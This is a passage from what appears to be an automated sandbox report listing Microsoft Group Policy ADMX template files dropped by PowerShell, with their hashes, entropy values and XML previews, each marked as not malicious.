Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="kerberos" namespace="Microsoft.Policies.Kerberos" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="kerberos" displayName="$(string.kerberos)">.. <parentCategory ref="windows:System" />.. </category>.. </categories>.. <policies>.. <policy name="HostToRealm" class="Machine" displayName="$(string.hosttorealm)" explainText="$(string.hosttorealm_explain)" presentation="$(presentation.hosttorealm)" key="Software\Microsoft\Windows\CurrentVersion\Policies\System\Kerberos" valueName="domain_realm_Enabled"

C:\Users\user\AppData\Local\Temp\file\Resource\LanmanServer.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	3027
Entropy (8bit):	4.774192330379505
Encrypted:	false
SSDEEP:	48:3geDw08gmDufcofHKnK8p5CCTALz0DUiJw9y3S/16TAL4/eUigwG7uC:QeD/mDuEovKnKs5z0Lz0Dtw9y3S/1602
MD5:	472D255699A7F5E1645304C64CAAD168
SHA1:	751531EF9921620A6E3291E8B0939792D390AC50
SHA-256:	93946E2AB6E44530DFD6FBA002E4F9CC2163BA628DC3404883C76C2E5E88E3DF
SHA-512:	478A9B8B17046FEF2645D2036B717C2C87208ACCE922DFD111AB94A3DC64A332F387E7A29AC048F4431BD07D53B12A53FDA2D6359CB96E53B336AD9B2702F862
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="LanmanServer" namespace="Microsoft.Policies.LanmanServer" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="Cat_LanmanServer" displayName="$(string.Cat_LanmanServer)">.. <parentCategory ref="windows:Network" />.. </category>.. </categories>.. <policies>.. <policy name="Pol_HashPublication" .. class="Machine" .. displayName="$(string.Pol_HashPublication)" .. explainText="$(string.Pol_HashPublication_Help)" .. presentation="$(presentation.Pol_HashPublicati

C:\Users\user\AppData\Local\Temp\file\Resource\LeakDiagnostic.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2205
Entropy (8bit):	5.239517247361387
Encrypted:	false
SSDEEP:	48:3geDw08gmDcfGYofHKnKa55+KhhRx4DxLx4U5xM:QeD/mDcuYovKnK25fpx4DxLx4U5xM
MD5:	2DE3721F7B9126B6E9D8904714E1C3D7
SHA1:	703EB4F9FAC9D6E899101254C3A487E2BC94A6F7
SHA-256:	D675FD129F304C7C3220AC3476E529B81C703E2954A5C9FB67569DF34B3692F2
SHA-512:	794387DFCCC27EFACF17233361C20008BB7D94B58B7642CD796E23ACD8A2880AAD60E445DFB6892D199B2D8A750BBC191FE077B2E8A700E831896CD84537AAFA
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="leakdiagnostic" namespace="Microsoft.Policies.LeakDiagnostics" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="WdiScenarioCategory" displayName="$(string.WdiScenarioCategory)">.. <parentCategory ref="windows:Troubleshooting" />.. </category>.. </categories>.. <policies>.. <policy name="WdiScenarioExecutionPolicy" class="Machine" displayName="$(string.WdiScenarioExecutionPolicy)" explainText="$(string.WdiScenarioExecutionPolicyExplain)" key="SOFTWARE\Policies\Microsoft\Windows\WDI\{eb73b633-3f4e-

C:\Users\user\AppData\Local\Temp\file\Resource\LinkLayerTopologyDiscovery.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	3681
Entropy (8bit):	4.8903762757140425
Encrypted:	false
SSDEEP:	96:QeD/mDi0ovKnKm5CmmGwRE+bc+Oa/0+O1EmjGw+n+yt+bag0+OC:vYhRvqR/bnOa/vOB9++yIbagvOC
MD5:	730DC36EC0FE1BDE4DCB435CE2FD99A0
SHA1:	3C85A86A93ED46292A9906ED4BAB65C8C13BBC79
SHA-256:	7D88B9D41D560646B0F5915FCF13729095530F09A01A045F55E900013F8856C0
SHA-512:	303BB2C54926275E5D7311A14DB96CACC836F0FBDBDF7F584BFB798B5880EF9F0C2F0791B97D5CD33FA1255B9710A10E66A436236E888A2E5D76E52257178549
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="linklayertopologydiscovery" namespace="Microsoft.Policies.LinkLayerTopology" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="LLTD_Category" displayName="$(string.LLTD_Category)" explainText="$(string.LLTD_Category_Help)">.. <parentCategory ref="windows:Network" />.. </category>.. </categories>.. <policies>.. <policy name="LLTD_EnableLLTDIO" class="Machine" displayName="$(string.LLTD_EnableLLTDIO)" explainText="$(string.LLTD_EnableLLTDIO_Help)" presentation="$(presentation.LLTD_EnableLLTDIO)" key

C:\Users\user\AppData\Local\Temp\file\Resource\LocationProviderAdm.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1485
Entropy (8bit):	5.099086132926387
Encrypted:	false
SSDEEP:	24:JdgeDwjo8gWt4+3FpKtP/H6fmr2S0s6fE1g6fc+dK9lKUr2sr2xCBUpKjcpYr2bm:3geDw08gmDo/afmqSof+VfdKnKUqsqE/
MD5:	CD5E00F039870FD659346B0300ED0F58
SHA1:	1B9DF4BABDB2FE8D6D7E738777C7DBD9567E7A64
SHA-256:	152B6CDF154F1E0E55684E0C9EDCCF95C7CEBCC3F257F428B46D52DE3510202D
SHA-512:	E611D1262601932F47485C68D33D8D8517F3444B65F198AC7037368E06E5C8E624B13A193FB95B0B1ACE5A6E077685AAD246D0A108D6B932C2D435423A7FA84F
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="windowslocationprovider" namespace="Microsoft.Policies.Sensors.WindowsLocationProvider" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. <using prefix="sensors" namespace="Microsoft.Policies.Sensors" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="WindowsLocationProvider" displayName="$(string.WindowsLocationProvider)">.. <parentCategory ref="sensors:LocationAndSensors" />.. </category>.. </categories>.. <policies>.. <policy name="DisableWindowsLocationProvider_1" class="Machine" displayName="$(string.DisableWindowsLocationProvider)" e

C:\Users\user\AppData\Local\Temp\file\Resource\Logon.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	9810
Entropy (8bit):	5.121980292126833
Encrypted:	false
SSDEEP:	192:vY50WoK8Ui8C7IEh3eVrjHa60btIATnvmp:WoK8Ui8C7IEh3eVjHa60btIsvmp
MD5:	C75838C684AB96E002CACAFBC0CDFACB
SHA1:	1D424351F48391C1B02E4AE03890173AE6146A40
SHA-256:	0FD37894B19356C9160CBB33F802F9B9E3CC53154290D671BC31D9FDC72C2B36
SHA-512:	FF7DED3A2FDFB79CEE90D328D4A859D3C82AF9E6FD0533A1528F55C51B288827EB97C9230133D1F70FE4536B6FCC644B75551A3122C840B6B68965BEA04BD1DB
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="logon" namespace="Microsoft.Policies.WindowsLogon" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="Logon" displayName="$(string.Logon)">.. <parentCategory ref="windows:System" />.. </category>.. </categories>.. <policies>.. <policy name="DisableExplorerRunLegacy_1" class="User" displayName="$(string.DisableExplorerRunLegacy)" explainText="$(string.DisableExplorerRunLegacy_Help)" key="Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" valueName="DisableCurrentUserRun">.. <parentCat

C:\Users\user\AppData\Local\Temp\file\Resource\MMC.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	3580
Entropy (8bit):	5.263599571951233
Encrypted:	false
SSDEEP:	96:QeD/mDj8xovKnKhbKIKuM52ETud0DEbd4aaNUXTNpKpTa:vYIGVMHz4lfjq+
MD5:	2998B43ABF5097CE44EA8D328D13235A
SHA1:	DF26371580CE1EDBBB66E7B94ED4C92A9968492E
SHA-256:	054A652638CA7A6920743F22155656FA25ED49B4DBCCE29EEE29A4764143AFFE
SHA-512:	8DD42526C3817AC0A991097A3F19DC35391212425AC202BA1B96013951468EA22BA3A539D90B24A6CCB6F8F3045915777897582765B0FB501176E33EAAC2B391
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="mmc" namespace="Microsoft.Policies.ManagementConsole" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="MMC" displayName="$(string.MMC)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. <category name="MMC_RESTRICT" displayName="$(string.MMC_RESTRICT)">.. <parentCategory ref="MMC" />.. </category>.. <category name="MMC_ExtensionSnapins" displayName="$(string.MMC_ExtensionSnapins)">.. <parentCategory ref="MMC_RESTRICT" />.. </category>.. </categories>.. <poli

C:\Users\user\AppData\Local\Temp\file\Resource\MMCSnapIns2.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	6994
Entropy (8bit):	5.309600354101604
Encrypted:	false
SSDEEP:	96:QeD/mDRaBoG5a8F5iPlTGNEJEHGN0mWbNu94lbVIrsbN6PPVWbN6JK+qlbPgE6/J:vYwV0PFoWrKYgEteS/a0tYjkYw
MD5:	CFF77D02B53E4F1E29B3A0369CD44AAA
SHA1:	3502698593B7E4025DD3441CF9E343E073501213
SHA-256:	92D2625B30BAFAC586B14D7207B990E28ABEEB3B53232F5D8B78E6F48989B1F6
SHA-512:	033761AE53E6139ED4409A02FA6458C5FC7225D17D08440F2EB4F78F8E0D9D24400C3437EFE40745846DA34ED0DD7E9AD96160DB808E5E5D4712521F3AD19CA8
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="mmcsnapins2" namespace="Microsoft.Policies.MMCSnapIns2" />.. <using prefix="mmcsnapins" namespace="Microsoft.Policies.MMCSnapIns" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. <using prefix="server" namespace="Microsoft.Policies.Server" />.. <using prefix="mmc" namespace="Microsoft.Policies.ManagementConsole" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <policies>.. <policy name="MMC_StarterGPOEditorSnapIn" class="User" displayName="$(string.MMC_StarterGPOEditorSnapIn)" explainText="$(string.MMC_Restrict_Explain)" key="Software\Policies\Microsoft\MMC\{9FE24B92-C23D-4

C:\Users\user\AppData\Local\Temp\file\Resource\MMCSnapins.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	56928
Entropy (8bit):	5.305558932428126
Encrypted:	false
SSDEEP:	384:EEqweBG7m9GzFvtcUG4ELho5dqqPHnVzzzIsDyWqgYfZWmg83xxOTJExof6IMxRK:/Bz1KS8HIT
MD5:	263179895B280A7B97F57AEC4D86E045
SHA1:	336CEBFB4E953E83FA1BBBB262F026A905C5D3B6
SHA-256:	778A004255B3EB9B629EF3C49237AA87728699F8BF552E0A7C193FE4AE69EA0D
SHA-512:	CE92349B680A89CA890CB488059E4FCFD91F4CD8B4EFF851A9A9130467EA9E6446439E9CFF76715968100C89914C3F84EC6C7C559B40588034106841965AB75A
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="mmcsnapins" namespace="Microsoft.Policies.MMCSnapIns" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. <using prefix="mmc" namespace="Microsoft.Policies.ManagementConsole" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="MMC_GroupPolicy" displayName="$(string.MMC_GroupPolicy)">.. <parentCategory ref="mmc:MMC_RESTRICT" />.. </category>.. <category name="MMC_GroupPolicy_GPSnapin" displayName="$(string.MMC_GroupPolicy_GPSnapin)" explainText="$(string.MMC_GroupPolicy_GPSnapin_Help)">.. <parentCategory ref="MMC_GroupPolicy" />.. </cate

C:\Users\user\AppData\Local\Temp\file\Resource\MSDT.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (331), with CRLF line terminators
Category:	dropped
Size (bytes):	3626
Entropy (8bit):	5.186955295932739
Encrypted:	false
SSDEEP:	96:QeD/mDIiovKnK25fcO4DOLO4UjvOIGwXyqie2ie2ue2G7N/q:vYrX5fqq4XyZe2ie2ue2qNS
MD5:	46EB7F14EF95310360AEAC6B34CB8E24
SHA1:	F9FCD3AEFDABB588EF3447086AB9FF4E4D2589A3
SHA-256:	7C9DBC6A77B95D3502AA830693F1CF4A62B335FA8DBBCEEC6859F271386B81B7
SHA-512:	82C53CED021F75884D025F6A0A2B68DCC657398CABCF67DC728B0ECBB4B4F36D531B29E1C13FB83D48E81258A1356B4317AA57BED37C96A03E8CA4273855CA4C
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="MSDT" namespace="Microsoft.Policies.MSDT" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="WdiScenarioCategory" displayName="$(string.WdiScenarioCategory)">.. <parentCategory ref="windows:Troubleshooting" />.. </category>.. </categories>.. <policies>.. <policy name="WdiScenarioExecutionPolicy" class="Machine" displayName="$(string.WdiScenarioExecutionPolicy)" explainText="$(string.WdiScenarioExecutionPolicyExplain)" key="SOFTWARE\Policies\Microsoft\Windows\WDI\{C295FBBA-FD47-46ac-8BEE-B1715EC634E

C:\Users\user\AppData\Local\Temp\file\Resource\MSI.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (315), with CRLF line terminators
Category:	dropped
Size (bytes):	17256
Entropy (8bit):	5.037880055100683
Encrypted:	false
SSDEEP:	384:lS+/A0TqkGr7PYUHJtOgJTzoOJ6UvsTmn/dAiWzScJDhsnAmvIdRSizOTxQ1:hjO9rLzJtrJfnV11NI3faS
MD5:	DF26B5622A5B6C623299E1311DDF0EB3
SHA1:	0324713A3BE65EE72697FEE61A5913FA4ADB52C4
SHA-256:	EC4C9ACFCC00DD68BB42BF9A2837BDD35A30B18B0687380EB71B15139777316E
SHA-512:	AD00284AFA1D02F7F66F789C5077C2F1A49FABCC20F340AA98FEF38BBFC9B7DDBBF5DCBBA4FABFB73396AB06D30182E45EF0137ACE5A65860C254B790E50A31E
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. revision="1.1" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="msi" namespace="Microsoft.Policies.MSI" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. <using prefix="products" namespace="Microsoft.Policies.Products" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. .. <supportedOn>.. <definitions>.. Windows Installer v4.5-->.. <definition name="SUPPORTED_MSI45" displayName="$(string.SUPPORTED_MSI45)">.. <or>.. <reference ref="products:WindowsInstaller45"/>.. </or>.. </definition>.... Windows Installer v4.0-->.. <definition name="SUPPORTED_MSI40" displayName="$(strin

C:\Users\user\AppData\Local\Temp\file\Resource\MediaCenter.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1786
Entropy (8bit):	5.081003259179552
Encrypted:	false
SSDEEP:	48:3geDw08gmDx7ffofHKnKcQ5Yzjwhd7rzjwhq:QeD/mDx7HovKnKJ5Yzod3zoq
MD5:	7CBF46163709289592957E51CCA78CF9
SHA1:	ABE2538BAEFDE78674CBA80E45E61026D1D4B7D7
SHA-256:	CECCC6D124757E0AFD9BDBF63C71C7F5FF23DFD0130E52AE97A9B87F097C3644
SHA-512:	70AC096C0C484DC72C486CDBEC9EAE7D339D90AEAD007C0AB9762250CF306A039C86DCB66E2EB3106BF36172B663AA50EE507BE5746D2D052CDD001731A1DEE4
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="mediacenter" namespace="Microsoft.Policies.MediaCenter" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="MediaCenter" displayName="$(string.MediaCenter)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="MediaCenter_Disable_1" class="User" displayName="$(string.MediaCenter_Disable)" explainText="$(string.MediaCenter_Disable_Help)" key="Software\Policies\Microsoft\WindowsMediaCenter" valueName="MediaCenter">.. <parentCategory ref=

C:\Users\user\AppData\Local\Temp\file\Resource\MobilePCMobilityCenter.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1890
Entropy (8bit):	5.093916133973009
Encrypted:	false
SSDEEP:	48:3geDw08gmDk87fzofHKnKKQ5cbpLvtdhdclIpLvtdhq:QeD/mDk87LovKnKz5MvZdbvZq
MD5:	DC74C784089AE0E4184F3EDAE887C660
SHA1:	908E33D4D5ED3DC208BF1AAD02C6F03698883A22
SHA-256:	E45FA7062B6419FEF72511F5BA05C4DEAE8E6B2B279A4D24D979A5D850B17177
SHA-512:	4BF6617A548AD3824C2737830422A69E5E8F7603A8B7462F1D1DABCFE5FF48CA84A390F1B4F3B7DB32CAAE2F500CA772BE163BB016165E558A8369A0CA08E829
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="mobilepcmobilitycenter" namespace="Microsoft.Policies.MobilePCMobilityCenter" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="MobilityCenterCat" displayName="$(string.MobilityCenterCat)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="MobilityCenterEnable_1" class="User" displayName="$(string.MobilityCenterEnable)" explainText="$(string.MobilityCenterEnableExplain)" key="Software\Microsoft\Windows\CurrentVersion\Policies\MobilityCe

C:\Users\user\AppData\Local\Temp\file\Resource\MobilePCPresentationSettings.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1986
Entropy (8bit):	5.037281162849478
Encrypted:	false
SSDEEP:	48:3geDw08gmDWfoofHKnKwdQ5FecqhdToecqhq:QeD/mDWQovKnKN5FendUenq
MD5:	40C1F963BD2B08734F82239D7542F570
SHA1:	9CD09D857D6342B5455B6CFC203125B9632CE610
SHA-256:	0E2A855691998CD7CE982FBBEBAD49B67A5594216DD07B20892CD8E44544BD7E
SHA-512:	E83236AEECDB66D623D6639D1EC5034438D66B1A26C91A85895B136306495C9C6C664A82CF7BA9988A6E3189B47B603A687341FCF1DDFFC6408E5456B05A8006
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="mobilepcpresentationsettings" namespace="Microsoft.Policies.MobilePCPresentationSettings" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="PresentationSettingsCat" displayName="$(string.PresentationSettingsCat)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="PresentationSettingsEnable_1" class="User" displayName="$(string.PresentationSettingsEnable)" explainText="$(string.PresentationSettingsEnableExplain)" key="Software\Microsoft\

C:\Users\user\AppData\Local\Temp\file\Resource\Msi-FileRecovery.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (351), with CRLF line terminators
Category:	dropped
Size (bytes):	2147
Entropy (8bit):	5.02949938177498
Encrypted:	false
SSDEEP:	48:3geDw08gmDmfiofHKnKa55+uOO4qhhGwv4sOC:QeD/mDm6ovKnK25POO4oGwvKC
MD5:	C85E4C3146BA0E4CBAEE62125A5C954D
SHA1:	5C78EB6AEB908C98A3074FD7907A76A05F584403
SHA-256:	16FBC9E7FD3D69AEA17EE440E814894B89A18075803DAD10DBB6CE5BF3CC44AB
SHA-512:	87B10820DB5F39FD04FB35F93ED4E951211AE890D539153EA3F13FD8DDFFB99EBB9FCF27174571ED610C34346EAE2593EB3A586844F2C21CC6D42CD5818DD1E5
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="msifilerecovery" namespace="Microsoft.Policies.MSIFileRecovery" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="WdiScenarioCategory" displayName="$(string.WdiScenarioCategory)">.. <parentCategory ref="windows:Troubleshooting" />.. </category>.. </categories>.. <policies>.. <policy name="WdiScenarioExecutionPolicy" class="Machine" displayName="$(string.WdiScenarioExecutionPolicy)" explainText="$(string.WdiScenarioExecutionPolicyExplain)" presentation="$(presentation.WdiScenarioExecutionPolicy)" k

C:\Users\user\AppData\Local\Temp\file\Resource\NAPXPQec.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1298
Entropy (8bit):	5.248937119316608
Encrypted:	false
SSDEEP:	24:JdgeDwjo8gWt4+3FpKtn6ft0s6fE3+dK9lKccpKjcp1a3qmgJLbO3LlP+2hJBg3:3geDw08gmD3ftofHKnKcQ5eXcLbO3LlC
MD5:	20AE7A9ED67CE7FEB0DFF8B7D0457425
SHA1:	9F8838190B9A5AB477ED2FDF8940424275C52357
SHA-256:	BF324C8EFFB6659E481965285CC03BA6EE81CBD702F07C628B5097EC9BF1800E
SHA-512:	9CEF5A9A6740994C681D1C8F09863649873358B5FF8A9C54871EA5795C937BA7A389C6BAAA5ECE4CC0854C840F32BF68755E179AEF8CF87986CD8EBB88280CEC
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="nap" namespace="Microsoft.Policies.NAP" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="NAP_Category" displayName="$(string.NAP_Category)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="NAP_XP_1x_QEC_1" class="Machine" displayName="$(string.NAP_XP_1x_QEC)" explainText="$(string.NAP_XP_1x_Help)" key="SOFTWARE\Policies\Microsoft\NetworkAccessProtection\ClientConfig\Qecs\79620" valueName="Enabled">.. <parentCategory ref="NAP

C:\Users\user\AppData\Local\Temp\file\Resource\NCSI.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (362), with CRLF line terminators
Category:	dropped
Size (bytes):	4348
Entropy (8bit):	5.134556796509173
Encrypted:	false
SSDEEP:	96:tD/mDbjovKnKu5aSYXsWqBwB/Wy1cqBwPL1gqBw+De1wqBw1h1BbnbY9qBweghT9:RYXTYSYXs6B/WyCPL+qeG1hPul9F42OS
MD5:	5D051B42C7220F25111EEC421E04AC69
SHA1:	FAB6FD752051BB542F31375E9B82A48EB29A94B5
